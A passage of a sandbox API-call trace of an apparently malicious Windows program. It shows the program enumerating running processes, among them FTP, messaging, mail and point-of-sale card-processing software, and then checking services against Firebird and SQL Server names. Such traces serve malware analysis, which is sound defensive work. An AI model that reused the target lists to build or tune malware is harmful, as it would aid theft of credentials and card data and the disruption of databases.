	[0068.072] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0068.073] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0068.073] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0068.074] lstrlenW (lpString="icq.exe") returned 7
	[0068.074] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0068.087] lstrlenW (lpString="leechftp.exe") returned 12
	[0068.087] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0068.088] lstrlenW (lpString="ncftp.exe") returned 9
	[0068.088] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0068.089] lstrlenW (lpString="notepad.exe") returned 11
	[0068.089] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0068.089] lstrlenW (lpString="operamail.exe") returned 13
	[0068.089] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0068.090] lstrlenW (lpString="pidgin.exe") returned 10
	[0068.090] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0068.091] lstrlenW (lpString="scriptftp.exe") returned 13
	[0068.091] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0068.092] lstrlenW (lpString="skype.exe") returned 9
	[0068.092] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0068.093] lstrlenW (lpString="smartftp.exe") returned 12
	[0068.093] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0068.094] lstrlenW (lpString="thunderbird.exe") returned 15
	[0068.094] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0068.094] lstrlenW (lpString="totalcmd.exe") returned 12
	[0068.095] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0068.095] lstrlenW (lpString="trillian.exe") returned 12
	[0068.095] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0068.096] lstrlenW (lpString="webdrive.exe") returned 12
	[0068.096] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0068.097] lstrlenW (lpString="whatsapp.exe") returned 12
	[0068.097] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0068.098] lstrlenW (lpString="winscp.exe") returned 10
	[0068.098] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0068.100] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0068.100] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0068.100] lstrlenW (lpString="active-charge.exe") returned 17
	[0068.100] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0068.101] lstrlenW (lpString="accupos.exe") returned 11
	[0068.101] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0068.102] lstrlenW (lpString="afr38.exe") returned 9
	[0068.102] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0068.103] lstrlenW (lpString="aldelo.exe") returned 10
	[0068.103] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0068.104] lstrlenW (lpString="ccv_server.exe") returned 14
	[0068.104] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0068.104] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0068.104] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0068.105] lstrlenW (lpString="creditservice.exe") returned 17
	[0068.105] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0068.106] lstrlenW (lpString="edcsvr.exe") returned 10
	[0068.106] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0068.106] lstrlenW (lpString="fpos.exe") returned 8
	[0068.107] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0068.107] lstrlenW (lpString="isspos.exe") returned 10
	[0068.107] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0068.108] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0068.108] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0068.109] lstrlenW (lpString="omnipos.exe") returned 11
	[0068.109] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0068.109] lstrlenW (lpString="spcwin.exe") returned 10
	[0068.109] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0068.110] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0068.110] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0068.111] lstrlenW (lpString="utg2.exe") returned 8
	[0068.111] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0068.722] lstrlenW (lpString="explicit.exe") returned 12
	[0068.722] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0068.722] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0068.722] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0068.723] lstrlenW (lpString="taskhostw.exe") returned 13
	[0068.723] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0068.724] lstrlenW (lpString="UsoClient.exe") returned 13
	[0068.724] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0068.724] lstrlenW (lpString="taskhostw.exe") returned 13
	[0068.724] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0068.725] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0068.725] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0068.726] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0068.726] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0068.726] lstrlenW (lpString="conhost.exe") returned 11
	[0068.726] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0068.727] lstrlenW (lpString="conhost.exe") returned 11
	[0068.727] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.728] lstrlenW (lpString="svchost.exe") returned 11
	[0068.728] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0068.728] lstrlenW (lpString="fvppjh.exe") returned 10
	[0068.728] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.729] lstrlenW (lpString="svchost.exe") returned 11
	[0068.729] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0068.729] lstrlenW (lpString="cmd.exe") returned 7
	[0068.730] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0068.730] lstrlenW (lpString="conhost.exe") returned 11
	[0068.730] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0068.731] lstrlenW (lpString="dllhost.exe") returned 11
	[0068.731] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0068.731] CloseHandle (hObject=0x32c) returned 1
	[0068.731] Sleep (dwMilliseconds=0x1f4) 
	[0069.237] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75ec28
	[0069.238] EnumServicesStatusExW (in: hSCManager=0x75ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0069.238] GetLastError () returned 0xea
	[0069.238] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ce8) returned 0x785210
	[0069.238] EnumServicesStatusExW (in: hSCManager=0x75ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x785210, cbBufSize=0x1ce8, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x785210, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0069.239] CloseServiceHandle (hSCObject=0x75ec28) returned 1
	[0069.239] lstrlenW (lpString="Appinfo") returned 7
	[0069.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0069.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0069.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0069.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0069.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0069.239] lstrlenW (lpString="AppXSvc") returned 7
	[0069.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0069.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0069.239] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0069.239] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0069.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0069.239] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0069.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0069.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0069.239] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0069.239] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0069.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0069.239] lstrlenW (lpString="Audiosrv") returned 8
	[0069.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0069.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0069.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0069.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0069.240] lstrlenW (lpString="BFE") returned 3
	[0069.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0069.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0069.240] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0069.240] lstrlenW (lpString="BITS") returned 4
	[0069.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0069.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0069.240] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0069.240] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0069.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0069.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0069.240] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0069.240] lstrlenW (lpString="CDPSvc") returned 6
	[0069.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0069.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0069.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0069.240] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0069.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0069.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0069.240] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0069.240] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0069.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0069.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0069.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0069.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0069.240] lstrlenW (lpString="CryptSvc") returned 8
	[0069.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0069.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0069.241] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0069.241] lstrlenW (lpString="DcomLaunch") returned 10
	[0069.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0069.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0069.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0069.241] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0069.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0069.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0069.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0069.241] lstrlenW (lpString="Dhcp") returned 4
	[0069.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0069.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0069.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0069.241] lstrlenW (lpString="Dnscache") returned 8
	[0069.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0069.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0069.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
